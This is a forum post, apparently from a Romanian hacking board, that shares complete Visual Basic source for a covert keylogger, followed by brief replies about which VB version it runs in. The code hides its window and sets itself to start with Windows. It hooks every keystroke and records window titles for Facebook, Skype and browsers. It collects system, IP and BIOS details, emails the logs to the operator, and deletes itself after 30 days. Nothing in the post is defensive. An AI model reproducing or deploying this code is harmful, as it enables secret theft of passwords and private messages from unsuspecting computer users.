VB Keylogger

[Genius++]

 

Imports System.IO
Imports System.Net
Imports System.Net.Mail
Imports System.Net.Mime
Imports Microsoft.Win32
Imports System.Diagnostics
Imports System.Collections.ObjectModel

Public Class Form1
    Dim WithEvents K As New Keyboard
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
    Dim quote As String = """"
    Dim windowTitle As String
    Dim selfDestruct As Integer = 30 ' days

    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        Me.Location = New Point(-10 - Me.Width, 0) : Me.ShowInTaskbar = False
        registerApplication()
        K.CreateHook()
        ' Adds UserName, ComputerName and current Time to the Log File
        My.Settings.log = My.Settings.log + vbNewLine + "_________________________________________________" _
                         + "____________________________________________________________________________" _
                         + vbNewLine + "Current Time: " + Now.DayOfWeek.ToString + ", " + Now() + vbNewLine + vbNewLine _
                         + "Computer Name:" + " " + Environment.MachineName + vbNewLine + vbNewLine _
                         + "Username:" + " " + Environment.UserName + vbNewLine _
                         + "____________________________________________________________________________" _
                         + "________________________________________________" _
                         + vbNewLine + vbNewLine
    End Sub

    Private Sub Form1_FormClosing(sender As Object, e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        K.DisposeHook()
    End Sub

    Private Sub K_Down(ByVal Key As String) Handles K.Down
        My.Settings.log = My.Settings.log & Key
    End Sub

    Private Function getActiveWindowTitle() As String
        Dim MyStr As String
        MyStr = New String(Chr(0), 100)
        GetWindowText(GetForegroundWindow, MyStr, 100)
        MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
        Return MyStr
    End Function

    Private Function roundObjectSize(ByVal ObjectSize As String) As String
        Select Case CDec(ObjectSize)
            Case 0 To CDec(999.999)
                ObjectSize = Format(CInt(CDec(ObjectSize)), "###,###,###,###,##0 Bytes")
            Case 1000 To CDec(999999.999)
                ObjectSize = Format(CInt(CDec(ObjectSize) / 1024), "###,###,###,##0 KB")
            Case 1000000 To CDec(999999999.999)
                ObjectSize = Format(CInt(CDec(ObjectSize) / 1024 / 1024), "###,###,##0 MB")
            Case 1000000000 To CDec(999999999999.999)
                ObjectSize = Format((((CInt(CDec(ObjectSize) / 1024 / 1024) / 10) \ 10) / 10), "#,###.00 GB")
            Case Is >= 1000000000000
                ObjectSize = Format((((CInt(CDec(ObjectSize) / 1024 / 1024 / 1024) / 10) \ 10) / 10), "#,###.00 TB")
        End Select
        Return ObjectSize
    End Function

    Private Sub additionalInformations()
        My.Settings.info = ""
        ' GET COMPUTER LOCATION THROUGH IP
        Dim ipinfo As New WebClient
        Dim city As String
        Try
            Dim ip As String = ipinfo.DownloadString("http://www.find-ip-address.org/")
            city = ip.Substring(ip.IndexOf("IP Address Lookup Location") + 80)
            city = city.Substring(0, city.IndexOf(" <"))
        Catch ex As Exception
            city = "Unable to lookup"
        End Try
        My.Settings.info = My.Settings.info + "IP Location: " + city + vbNewLine

        '______________________________________________________________________________________________________________________________
        ' GET EXTERNAL AND INTERNAL IP
        Try
            Dim req As HttpWebRequest = WebRequest.Create("http://automation.whatismyip.com/n09230945.asp")
            Dim res As HttpWebResponse = req.GetResponse()
            Dim str As Stream = res.GetResponseStream
            Dim sr As StreamReader = New StreamReader(str)
            My.Settings.info = My.Settings.info + "External IP: " + sr.ReadToEnd + vbNewLine

            Dim iphostentry As System.Net.IPHostEntry = System.Net.Dns.GetHostByName(System.Net.Dns.GetHostName)
            My.Settings.info = My.Settings.info + "Internal IP: " _
                + CType(iphostentry.AddressList.GetValue(0), IPAddress).ToString + vbNewLine + vbNewLine
        Catch
        End Try

        '______________________________________________________________________________________________________________________________
        ' ADDITIONAL INFORMATIONS
        Try
            My.Settings.info = My.Settings.info _
                + "User Name: " + Environment.UserName + vbNewLine _
                + "Machine Name: " + Environment.MachineName + vbNewLine _
                + "OS Version: " _
                + Environment.OSVersion.ToString + vbNewLine _
                + "OS Fullname: " _
                + My.Computer.Info.OSFullName + vbNewLine _
                + "OS Platform: " + My.Computer.Info.OSPlatform.ToString + vbNewLine _
                + "System Language: " _
                + My.Computer.Info.InstalledUICulture.ToString + vbNewLine _
                + "Screen Resolution: " _
                + My.Computer.Screen.BitsPerPixel.ToString + " Bit" + vbNewLine _
                + "Screen Bounds: " _
                + My.Computer.Screen.Bounds.Width.ToString + "x" + My.Computer.Screen.Bounds.Height.ToString + vbNewLine _
                + "Display Device: " _
                + My.Computer.Screen.DeviceName.ToString + vbNewLine
        Catch
        End Try
        '______________________________________________________________________________________________________________________________
        ' GET REGISTRY VALUES

        Try
            Dim Registry1 As String = "HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\SYSTEM\BIOS"
            Dim Registry2 As String = "HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0"
            My.Settings.info = My.Settings.info _
                 + "Computer Manufacturer: " _
                 + My.Computer.Registry.GetValue(Registry1, "SystemManufacturer", Nothing).ToString + vbNewLine _
                 + "Computer Type: " _
                 + My.Computer.Registry.GetValue(Registry1, "SystemProductName", Nothing).ToString + vbNewLine + vbNewLine _
                 + "Processor: " _
                 + My.Computer.Registry.GetValue(Registry2, "ProcessorNameString", Nothing).ToString + vbNewLine _
                 + "Processor Identifier: " _
                 + My.Computer.Registry.GetValue(Registry2, "Identifier", Nothing).ToString + vbNewLine _
                 + "Processor Speed: " _
                 + (((My.Computer.Registry.GetValue(Registry2, "~MHz", Nothing) / 10) \ 10) / 10).ToString + " GHz" + vbNewLine _
                 + "Processor Manufacturer: " _
                 + My.Computer.Registry.GetValue(Registry2, "VendorIdentifier", Nothing).ToString + vbNewLine + vbNewLine _
                 + "Total Physical Memory (RAM): " _
                 + roundObjectSize(My.Computer.Info.TotalPhysicalMemory.ToString) + vbNewLine + vbNewLine
        Catch
        End Try
        '______________________________________________________________________________________________________________________________
        ' GET BIOS INFORMATIONS
        Dim objWMIService As Object = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
        Dim colBIOS As Object = objWMIService.ExecQuery("Select * from Win32_BIOS")
        For Each objBIOS In colBIOS
            My.Settings.info = My.Settings.info _
                + "Bios Manufacturer: " + objBIOS.Manufacturer.ToString + vbNewLine _
                + "Bios Serial Number: " + objBIOS.SerialNumber.ToString + vbNewLine _
                + "Bios Version: " + objBIOS.SMBIOSBIOSVersion.ToString + vbNewLine _
                + "_____________________________________________________________________" + vbNewLine
        Next

        '______________________________________________________________________________________________________________________________
        ' GET DRIVEs INFORMATIONS
        Dim drives As ReadOnlyCollection(Of DriveInfo)
        drives = My.Computer.FileSystem.Drives

        Try
            For Each drive As DriveInfo In drives
                If drive.IsReady Then
                    My.Settings.info = My.Settings.info + vbNewLine _
                    + drive.DriveType.ToString + " Drive " _
                    + drive.Name.ToString + vbNewLine _
                    + "Drive Label: " + drive.VolumeLabel.ToString + vbNewLine _
                    + "Drive Format: " + drive.DriveFormat.ToString + vbNewLine _
                    + "Total Drive Size: " + roundObjectSize(drive.TotalSize) + vbNewLine _
                    + "Total Free Space: " + roundObjectSize(drive.TotalFreeSpace) + vbNewLine
                Else
                    My.Settings.info = My.Settings.info + vbNewLine _
                        + "Unknown Drive " + drive.Name.ToString + vbNewLine _
                        + "(This Drive is not ready, It could be a DVD Drive or a Virtual Drive!)" _
                        + vbNewLine
                End If
            Next
        Catch
        End Try
    End Sub

    Private Sub registerApplication()
        ' We register the App only for the current-user since on Vista & Win7 it requieres administrator privileges for other users!
        ' The path for all users would be Registry.LocalMachine or manually "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\...\Run"
        Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True) _
                   .SetValue("Keylogger", quote + Application.ExecutablePath.ToString + quote)

        ' We create a new key for our app like the proffessionals do, and we set some data there, 
        ' in this case the installation date, thus the app will be able later to identify on what date to uninstall,
        ' To open Registry Editor if you want, go to Start, type REGEDIT and hit(Win7) or go to Start, go to RUN, type REGEDIT(XP), 
        ' and have a look on the Registry, but dont delete or change anything else there, or your computer will be unstable, or crash!
        If Registry.CurrentUser.OpenSubKey("Software").OpenSubKey("Keylogger") Is Nothing Then
            Registry.CurrentUser.CreateSubKey("SOFTWARE\Keylogger")
            Registry.CurrentUser.OpenSubKey("Software\Keylogger", True).SetValue("Year", Now.Year.ToString)
            Registry.CurrentUser.OpenSubKey("Software\Keylogger", True).SetValue("Month", Now.Month.ToString)
            Registry.CurrentUser.OpenSubKey("Software\Keylogger", True).SetValue("Day", Now.Day.ToString)
        End If
    End Sub

    Private Sub sendMail()
        additionalInformations()
        Timerwindow.Dispose()
        K.DisposeHook()
        Try




            Dim SmtpServer As New SmtpClient()
            Dim mail As New MailMessage()

            SmtpServer.Credentials = New Net.NetworkCredential(myHostUserMailAddress, myHostUserPassword)
            SmtpServer.Host = myHost
            mail = New MailMessage()
            mail.From = New MailAddress(myHostUserMailAddress)
            mail.To.Add(mailReceiver)
            mail.Subject = Environment.UserName + ", " + Environment.MachineName
            mail.Body = My.Settings.info
            Dim ms As New MemoryStream(System.Text.Encoding.ASCII.GetBytes(My.Settings.log))
            Dim oAttch As Net.Mail.Attachment = New Net.Mail.Attachment(ms, MediaTypeNames.Text.Plain)
            Dim disposition As ContentDisposition = oAttch.ContentDisposition
            disposition.FileName = Environment.UserName + "[" + Environment.MachineName + "]" + ".txt" ' The Name how the Attachment will be named
            mail.Attachments.Add(oAttch)
            SmtpServer.Send(mail)
            mail.Dispose()
            My.Settings.log = ""
        Catch ex As Exception
        End Try
        K.CreateHook()
        Timerwindow.Start()
    End Sub

    Private Sub unInstaller()
        If Not Registry.CurrentUser.OpenSubKey("Software\Keylogger") Is Nothing Then
            ' For example we want our app automatically uninstalled after 30 days, it will check the installation date and calculate the difference.
            ' and then it will automatically remove our app  from the computer.
            If DateDiff("d", New System.DateTime( _
                     CInt(Registry.CurrentUser.OpenSubKey("Software\Keylogger").GetValue("Year", Nothing).ToString), _
                      CInt(Registry.CurrentUser.OpenSubKey("Software\Keylogger").GetValue("Month", Nothing).ToString), _
                     CInt(Registry.CurrentUser.OpenSubKey("Software\Keylogger").GetValue("Day", Nothing).ToString), _
                       12, 0, 0), Now) > selfDestruct Then
                Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).DeleteValue("Keylogger")
                Registry.CurrentUser.OpenSubKey("Software", True).DeleteSubKey("Keylogger")

                Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\RunOnce", True) _
                    .SetValue("Uninstaller", quote + Application.StartupPath.ToString + "\Uninstaller.vbs" + quote)

                ' This code below means if the uninstallation date has come, it will create a VB Script on the same path as the app,
                ' and it will automatically delete the app and itself on the next Computerstart or Login! 
                File.WriteAllText(Application.StartupPath.ToString + "\Uninstaller.vbs", _
                                    "Set FSO = CreateObject(""Scripting.FileSystemObject"")" + vbNewLine _
                                    + "filename = FSO.GetAbsolutePathName(Wscript.ScriptName)" + vbNewLine _
                                    + "FSO.DeleteFile " + quote + Application.ExecutablePath.ToString + quote + ", True" + vbNewLine _
                                    + "FSO.DeleteFile filename, True")
                Me.Close()
            End If
        End If
    End Sub

    Private Sub Timerwindow_Tick(sender As System.Object, e As System.EventArgs) Handles Timerwindow.Tick
        ' We limit the windowtitlecatches by these names, otherwise the LOG will get large and you wont have the time to read everything!
        Dim allowedList As String = "Facebook,Youtube,Internet,Google,Mozilla,Chrome,Safari,Live,Messenger,Skype"
        Dim commaSeparator As Char() = New Char() {","c}
        Dim result As String()
        result = AllowedList.Split(CommaSeparator, StringSplitOptions.None)

        If windowTitle <> GetActiveWindowTitle() Then
            For Each str As String In result
                If GetActiveWindowTitle.Contains(str) Then
                    If windowTitle <> GetActiveWindowTitle() Then
                        My.Settings.log = My.Settings.log + vbNewLine + "{{{" + GetActiveWindowTitle() + "}}}"
                        windowTitle = GetActiveWindowTitle()
                    End If
                End If
            Next
        End If
    End Sub

    Private Sub Timerchecker_Tick(sender As System.Object, e As System.EventArgs) Handles Timerchecker.Tick
        ' assuming the LOG reaches limit of 100000 bytes (100Kb = 0,1MB) it will send it via email to you!
        ' before it will check for the uninstaller if the limit time is reached, e.g 20 days!
        ' One Byte is equal to 1 letter or number or any other character, so 100000 bytes means 100000 letters!
        Me.Hide() ' HIDES THE FORM FROM SCREEN
        If Len(My.Settings.log) > 1000 Then : unInstaller() : sendMail() : End If
    End Sub
End Class

Public Class Keyboard
    Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal Hook As Integer, ByVal KeyDelegate As KDel, ByVal HMod As Integer, ByVal ThreadId As Integer) As Integer
    Private Declare Function CallNextHookEx Lib "user32" (ByVal Hook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
    Private Declare Function UnhookWindowsHookEx Lib "user32" Alias "UnhookWindowsHookEx" (ByVal Hook As Integer) As Integer
    Private Delegate Function KDel(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
    Public Shared Event Down(ByVal Key As String)
    Public Shared Event Up(ByVal Key As String)
    Private Shared Key As Integer
    Private Shared KHD As KDel

    Private Structure KeyStructure : Public Code As Integer : Public ScanCode As Integer : Public Flags As Integer : Public Time As Integer : Public ExtraInfo As Integer : End Structure

    Public Sub CreateHook()
        KHD = New KDel(AddressOf Proc)
        Key = SetWindowsHookEx(13, KHD, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
    End Sub

    Private Function Proc(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
        If (Code = 0) Then
            Select Case wParam
                Case &H100, &H104 : RaiseEvent Down(Feed(CType(lParam.Code, Keys)))
                Case &H101, &H105 : RaiseEvent Up(Feed(CType(lParam.Code, Keys)))
            End Select
        End If
        Return CallNextHookEx(Key, Code, wParam, lParam)
    End Function

    Public Sub DisposeHook()
        UnhookWindowsHookEx(Key)
        MyBase.Finalize()
    End Sub

    Private Function Feed(ByVal e As Keys) As String
        Select Case e
            Case 65 To 90
                If Control.IsKeyLocked(Keys.CapsLock) Or (Control.ModifierKeys And Keys.Shift) <> 0 Then
                    Return e.ToString
                Else
                    Return e.ToString.ToLower
                End If
            Case 48 To 57
                If (Control.ModifierKeys And Keys.Shift) <> 0 Then
                    Select Case e.ToString
                        Case "D1" : Return "!"
                        Case "D2" : Return "@"
                        Case "D3" : Return "#"
                        Case "D4" : Return "$"
                        Case "D5" : Return "%"
                        Case "D6" : Return "^"
                        Case "D7" : Return "&"
                        Case "D8" : Return "*"
                        Case "D9" : Return "("
                        Case "D0" : Return ")"
                    End Select
                Else
                    Return e.ToString.Replace("D", Nothing)
                End If
            Case 96 To 105
                Return e.ToString.Replace("NumPad", Nothing)
            Case 106 To 111
                Select Case e.ToString
                    Case "Divide" : Return "/"
                    Case "Multiply" : Return "*"
                    Case "Subtract" : Return "-"
                    Case "Add" : Return "+"
                    Case "Decimal" : Return "."
                End Select
            Case 32
                Return " "
            Case 186 To 222
                If (Control.ModifierKeys And Keys.Shift) <> 0 Then
                    Select Case e.ToString
                        Case "OemMinus" : Return "_"
                        Case "Oemplus" : Return "+"
                        Case "OemOpenBrackets" : Return "{"
                        Case "Oem6" : Return "}"
                        Case "Oem5" : Return "|"
                        Case "Oem1" : Return ":"
                        Case "Oem7" : Return """"
                        Case "Oemcomma" : Return "<"
                        Case "OemPeriod" : Return ">"
                        Case "OemQuestion" : Return "?"
                        Case "Oemtilde" : Return "~"
                    End Select
                Else
                    Select Case e.ToString
                        Case "OemMinus" : Return "-"
                        Case "Oemplus" : Return "="
                        Case "OemOpenBrackets" : Return "["
                        Case "Oem6" : Return "]"
                        Case "Oem5" : Return "\"
                        Case "Oem1" : Return ";"
                        Case "Oem7" : Return "'"
                        Case "Oemcomma" : Return ","
                        Case "OemPeriod" : Return "."
                        Case "OemQuestion" : Return "/"
                        Case "Oemtilde" : Return "`"
                    End Select
                End If
            Case Keys.Return
                Return Environment.NewLine
            Case Keys.Back
                Return " ?"
        End Select
        Return Nothing
    End Function
End Class

Visual Basic , cu placere  

Edited September 18, 2016 by Genius++

[superxp]

O intrebare , In ce vb merge scris ?

[bajetzashu89]

parerea mea - in visual basic 2010

[Vulturica]

O intrebare , In ce vb merge scris ?

Tot Visusl Basic 6 ramane baza! De ce as face ceva in Visual Basic 2010? ca daca n-am .NET keylog-ul este OUT din prima ! Asta este si motivul pentru care VB6 este sustinut de Microsoft si acum. Cred ca si lor le pare rau de decizia stupida din 2000-2002. Iar acum, au decis sa mentina suportul pentru VB6 ani buni de acum inainte !

[Matt]

Tot Visusl Basic 6 ramane baza! De ce as face ceva in Visual Basic 2010? ca daca n-am .NET keylog-ul este OUT din prima ! Asta este si motivul pentru care VB6 este sustinut de Microsoft si acum. Cred ca si lor le pare rau de decizia stupida din 2000-2002. Iar acum, au decis sa mentina suportul pentru VB6 ani buni de acum inainte !

Te-ai pus pe facut posturi sa te poti duce la sectiunea "cereri" ?